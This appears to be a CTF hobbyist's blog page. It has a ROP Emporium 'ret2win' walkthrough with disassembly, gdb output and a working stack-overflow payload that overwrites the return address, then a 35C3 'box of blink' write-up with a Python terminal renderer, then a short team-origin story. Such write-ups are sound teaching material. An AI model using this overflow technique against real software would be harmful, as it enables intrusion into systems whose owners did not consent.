0000000000400786 BFC8084000             mov        edi, aRet2winByRopEm         ; argument "__s" for method j_puts, "ret2win by ROP Emporium"
000000000040078b E840FEFFFF             call       j_puts                       ; puts
0000000000400790 BFE0084000             mov        edi, a64bitsn                ; argument "__s" for method j_puts, "64bits\\n"
0000000000400795 E836FEFFFF             call       j_puts                       ; puts
000000000040079a B800000000             mov        eax, 0x0
000000000040079f E811000000             call       pwnme                        ; pwnme
00000000004007a4 BFE8084000             mov        edi, aNexiting               ; argument "__s" for method j_puts, "\\nExiting"
00000000004007a9 E822FEFFFF             call       j_puts                       ; puts
00000000004007ae B800000000             mov        eax, 0x0
00000000004007b3 5D                     pop        rbp
00000000004007b4 C3                     ret
                ; endp


; ================ B E G I N N I N G   O F   P R O C E D U R E ================

; Variables:
;    var_20: int8_t, -32


                            pwnme:
00000000004007b5 55                     push       rbp                          ; End of unwind block (FDE at 0x400acc), Begin of unwind block (FDE at 0x400aec), CODE XREF=main+89
00000000004007b6 4889E5                 mov        rbp, rsp
00000000004007b9 4883EC20               sub        rsp, 0x20
00000000004007bd 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007c1 BA20000000             mov        edx, 0x20                    ; argument "__n" for method j_memset
00000000004007c6 BE00000000             mov        esi, 0x0                     ; argument "__c" for method j_memset
00000000004007cb 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_memset
00000000004007ce E82DFEFFFF             call       j_memset                     ; memset
00000000004007d3 BFF8084000             mov        edi, aForMyFirstTric         ; argument "__s" for method j_puts, "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\\nWhat could possibly go wrong?"
00000000004007d8 E8F3FDFFFF             call       j_puts                       ; puts
00000000004007dd BF78094000             mov        edi, aYouThereMadamM         ; argument "__s" for method j_puts, "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\\n"
00000000004007e2 E8E9FDFFFF             call       j_puts                       ; puts
00000000004007e7 BFDD094000             mov        edi, 0x4009dd                ; argument "__format" for method j_printf
00000000004007ec B800000000             mov        eax, 0x0
00000000004007f1 E8FAFDFFFF             call       j_printf                     ; printf
00000000004007f6 488B1573082000         mov        rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5
00000000004007fd 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400801 BE32000000             mov        esi, 0x32                    ; argument "__n" for method j_fgets
0000000000400806 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_fgets
0000000000400809 E812FEFFFF             call       j_fgets                      ; fgets
000000000040080e 90                     nop
000000000040080f C9                     leave
0000000000400810 C3                     ret
                ; endp


; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                            ret2win:
0000000000400811 55                     push       rbp                          ; End of unwind block (FDE at 0x400aec), Begin of unwind block (FDE at 0x400b0c)
0000000000400812 4889E5                 mov        rbp, rsp
0000000000400815 BFE0094000             mov        edi, aThankYouHeresY         ; argument "__format" for method j_printf, "Thank you! Here's your flag:"
000000000040081a B800000000             mov        eax, 0x0
000000000040081f E8CCFDFFFF             call       j_printf                     ; printf
0000000000400824 BFFD094000             mov        edi, aBincatFlagtxt          ; argument "__command" for method j_system, "/bin/cat flag.txt"
0000000000400829 E8B2FDFFFF             call       j_system                     ; system
000000000040082e 90                     nop
000000000040082f 5D                     pop        rbp
0000000000400830 C3                     ret
                ; endp
0000000000400831                        align      64                           ; End of unwind block (FDE at 0x400b0c)

In the pwnme function there is a 0x20 byte stack buffer set by memset.
and 0x32 bytes written to it by fgets.

Lets run it in gdb and feed it some bytes and see what happens.

─── Output/messages ─────────────────────────────────────────────────────────
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
─── Assembly ────────────────────────────────────────────────────────────────
0x0000000000400809 pwnme+84 call   0x400620 <fgets@plt>
0x000000000040080e pwnme+89 nop
0x000000000040080f pwnme+90 leave  
0x0000000000400810 pwnme+91 ret    
─── Expressions ─────────────────────────────────────────────────────────────
─── History ─────────────────────────────────────────────────────────────────
─── Memory ──────────────────────────────────────────────────────────────────
─── Registers ───────────────────────────────────────────────────────────────
   rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288
   rdx 0x00007fffffffde90    rsi 0x00007ffff7f9d8d0    rdi 0x00007fffffffde91
   rbp 0x4242424242424242    rsp 0x00007fffffffdeb8     r8 0x0000000000602291
    r9 0x00007ffff7f9d8c0    r10 0x00007ffff7fa2500    r11 0x0000000000000246
   r12 0x0000000000400650    r13 0x00007fffffffdfa0    r14 0x0000000000000000
   r15 0x0000000000000000    rip 0x0000000000400810 eflags [ PF ZF IF RF ]   
    cs 0x00000033             ss 0x0000002b             ds 0x00000000        
    es 0x00000000             fs 0x00000000             gs 0x00000000        
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x4343434343434343
(no arguments)
[+]
─── Threads ─────────────────────────────────────────────────────────────────
[1] id 18823 name ret2win from 0x0000000000400810 in pwnme+91
─────────────────────────────────────────────────────────────────────────────
0x0000000000400810 in pwnme ()
>>> 

i send the string ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’
as user input. and the program stopped with a segfault.

The B’s are in the rbp register.
and the C’s are on the stack

lets set a breakpoint at 0x400810 and have a look at the registers and the stack in when we don’t overflow the stack buffer.

rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288
rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91
rbp 0x00007fffffffdec0 rsp 0x00007fffffffdeb8 r8 0x000000000060226b
r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246
r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000
r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x00000000004007a4 in main+94
(no arguments)

As you can see the value on the stack is the address right after were the function ‘pwnme’ is called from.

If we would now replace the C’s in ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’ with a valid executable address the program will return there instead of producing a segfault.

making a payload

Lets construct a little payload.
The buffer I need to fill is 40 bytes (32 + 8 bytes that will end up in rpb)
and the address I want to return to is 0x400811

The address needs to be written down in een Little endian format and padded with 0x00 to the length of 8 bytes.

python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'"

I could just pipe python’s output to ret2win’s input in a shell. but then I wouldn’t be able to see what’s happening.

So instead I do this from within GDB.

r <<< $(python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'")

It stops at the breakpoint I’ve had set before and I can see the address is were I want it to be.

─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x000000000a400811
(no arguments)

Now I continue the execution of the program.

 Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} 
Program received signal SIGSEGV, Segmentation fault.

I get an other segfault because the ‘ret2win’ function can’t return. But I don’t care about that, because I already have what I want.

so what about the ‘chain’?

This Challenge wasn’t really solved with a ROPchain since there was no chain.

But i explained the basics of ROP, I guess I’ll need to write a part2

Terminal led matrix emulator.

35C3CTF – box of blink

provided is a 400MB .csv file and a photo of an oscilloscope with logic inputs connected on to data bus between a raspberry pi and 2 chained led matrix boards.

Recon

after quick examination i realized the csv file was a log of the measurements from the oscilloscope.

the beginning of the file looked like this.

Model,MDO3014
Firmware Version,1.26
#
Waveform Type,DIGITAL,,,,,,,,,,,,,
Point Format,Y,,,,,,,,,,,,,
Horizontal Units,s,,,,,,,,,,,,,
Horizontal Scale,0.004,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Sample Interval,4e-09,,,,,,,,,,,,,
Record Length,1e+07,,,,,,,,,,,,,
Gating,0.0% to 100.0%,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V
Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1
TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0
-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1

and continued with 400MB worth of lines like

-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1

I’ve worked a lot with digital oscilloscopes in the past so no need to look up any Information on this, since it’s still in my head.

but the only led matrix I’ve ever worked with was a home build one made from some cheap xmas-lights and a IR-strobe light for a industrial sheet metal inspection line.

After some googeling i found a nice tutorial on how to connect a led matrix to a arduino. with some explanation on what each pin is used for. https://learn.adafruit.com/32×16-32×32-rgb-led-matrix/connecting-with-jumper-wires

and since the labels are in the header of the blink.csv file are the same as the pin names. i can conclude that this it the same type of data bus.

so we have the following signal:

output enable bit - - to enable output.
latch bit         - - to indicate end of data
clock puls        - - to tell the board to read new data from the bus
A,B,C,D,E         - - to select what line(s) to send the output to.
R1,G1,B1          - - color data for the firs row.   
R2,G2,B2          - - color data for the second row.


                     /------- OUTPUT ENABLE (TURNS ALL LEDS OFF OR ON)
                    /   /------LATCH (INDICATED END OF DATASTREAM)
                   /   /   /-- CLOCK PULSE
                  |   |   /  [    select rows   ][ blues][greens][reds  ]
Label,         | OE |LAT|CLK|E  |D  |C  |B  |A  |B2 |B1 |G2 |G1 |R2 |R1 |
-1.0000000e-03 | 0  | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |

The board ‘writes’ the color data from left to right to the selected line, latch resets the write Postion to the beginning of the line.

There are 2 lines writen at the same time its a 5bit adress so that means the first line is some were between 0 and 32 and the second is the same as the first+33

looking at the photo of the matrix broad that seemed to be right.

Now i know what im looking at, i just need to find a way to reproduce what was displayed on the matrix board.

cleaning up file.

There were a lot of dupplicate measurements because the sample rate of the oscilloscope was much higher than the bus speed.

So i decided to write a script cleaning out duplicate measurements to reduce file size. while i was doing this i was brain stroming on how to parse the data and display it.

Solution

I decided it would be fun to output it in a terminal screen. write block Charterers and display and use v100 esacpe codes for color.

This is the code i came up with to pars the oscilloscope log file.

#!/usr/bin/python
# -*- coding: utf-8 -*-
'''''''''''''''''''''''''''''''' ' ' ' '''''''''''''''''''''''''''''''''''''''''

    ▄▄▄▄    ▄▄▄       █     █░ ██▓      ██████ ▓█████  ▄████▄
    ▓█████▄ ▒████▄    ▓█░ █ ░█░▓██▒    ▒██    ▒ ▓█   ▀ ▒██▀ ▀█
    ▒██▒ ▄██▒██  ▀█▄  ▒█░ █ ░█ ▒██░    ░ ▓██▄   ▒███   ▒▓█    ▄
    ▒██░█▀  ░██▄▄▄▄██ ░█░ █ ░█ ▒██░      ▒   ██▒▒▓█  ▄ ▒▓▓▄ ▄██▒
    ░▓█  ▀█▓ ▓█   ▓██▒░░██▒██▓ ░██████▒▒██████▒▒░▒████▒▒ ▓███▀ ░
    ░▒▓███▀▒ ▒▒   ▓▒█░░ ▓░▒ ▒  ░ ▒░▓  ░▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒  ░
    ▒░▒   ░   ▒   ▒▒ ░  ▒ ░ ░  ░ ░ ▒  ░░ ░▒  ░ ░ ░ ░  ░  ░  ▒
    ░    ░   ░   ▒     ░   ░    ░ ░   ░  ░  ░     ░   ░
    ░            ░  ░    ░        ░  ░      ░     ░  ░░ ░
      ░                                            ░
                       -=Bawling since 2017=-           ▒░
        ▒                                       ░
              ▒░        By: M42D                                ░
            ░          CTF: 35c3ctf
                  challege: box of blink                 ░
            ░                                         ░
                      date: 27-12-2018

              usage : cat blink.csv | ./blink.py

              notes : for best cinematic experiance adjust
                      your termial window to display a
                      resolution of 265x64 charcters

                      it's a damm shame the output wasn't
                      more animated and colorfull.

'''''''''''''''''''''''''''''''' ' ' ' '''''''''''''''''''''''''''''''''''''''''

B,A,W,L='',' ',' ',open(__file__).readlines()
for S in range(3,30):
    B+=L[S]
    if S>7 and S<13:
        A=L[S]+A
        W+=L[S]
print '\033[94m'+B+'\033[0m'
PB='\033[94m'+A+W+'\033[0m'
print "         sit back 'n enjoy"
print " "*40+"-xXx- M42D"
print PB
from time import sleep
sleep(5)
#-------------------------------------------------------------------------------
# END OF HEADER
#-------------------------------------------------------------------------------

file_out = 'catme.txt'
f = open(file_out, "w")

last_clk = '1'
last_oe  = '1'
last_lat = '1'

i=0 #string in counter
o=0 #string out counter

x=5 #knowing me x is probebly y
while 1:
    try:
        input = raw_input()
    except:
        f.close()
        print 'done..'
        print 'results saved to catme.txt'
        break
    #input skip the whole header section of the file
    i +=1
    if i > 24:
        if input == '' or input[0] == '#':
            continue

        tt = input.split(',')
        '''
        0  = TIMESTAMP
        1  = OUTPUT ENABLE    --- i guess to select matrix board 1 or 2
        2  = LATCH                               but we can ignore this
        3  = CLOCK
        4  = E    MSB --\
        5  = D           \
        6  = C            >-- ROW ADDRESS
        7  = B           /
        8  = A    LSB --/
        9  = B2  ---\
        10 = B1      \
        11 = G2       \____RGB COLORS
        12 = G1       /                B1,G1,R1 = top half of matrix
        13 = R2      /                 B2,G2,R2 = bottom half of matrix
        14 = R1  ---/
        '''
        if tt[3] != last_clk :
            last_clk = tt[3]
            last_lat = tt[2]
            last_oe = tt[1]

            adr_1 = int(''.join(tt[4:9]),2)
            adr_2 = adr_1+32

            '''
    ive used ansi-vt100 escape sequences to move cursor and change color.
    for a nice overview check: http://www.termsys.demon.co.uk/vtansi.htm


            '''
            color1 = (int(tt[10])*4)+(int(tt[12])*2)+(int(tt[14])*1)
            color2 = (int(tt[9])*4)+(int(tt[11])*2)+(int(tt[13])*1)

            line1 = "\033["+str(adr_1)+";"+str(x)+"H" #place cursor top half
            line1 +='\x1b[6;3'+str(color1)+';40m'+'█' #print a colored block
            line2 = "\033["+str(adr_2)+";"+str(x)+"H" #place cursor bottom half
            line2 +='\x1b[6;3'+str(color2)+';40m'+'█' #print a colored block
            print line1+line2
            f.write(line1+line2) # i know this slows it al down for now
                                 # but we can just cat the output later on
                                 # and hopefully see a nice animation in an
                                 # resonable frame rate.
            x +=1
        if tt[2] == "1":  #end of line
                x= 5
output

The birth of BawlSec

A Friday evening in December 2018,
I had a friend over for a couple of beers. We stared talking about the ctfs.me CTF I was playing.

We watched a video write-up from LiveOverflow.

My friend got excited about the challenge in the write up. We checked if there were any events that weekend and we signed up for X-mas CTF as BawlSec and managed to finish 262th.

This is how it started.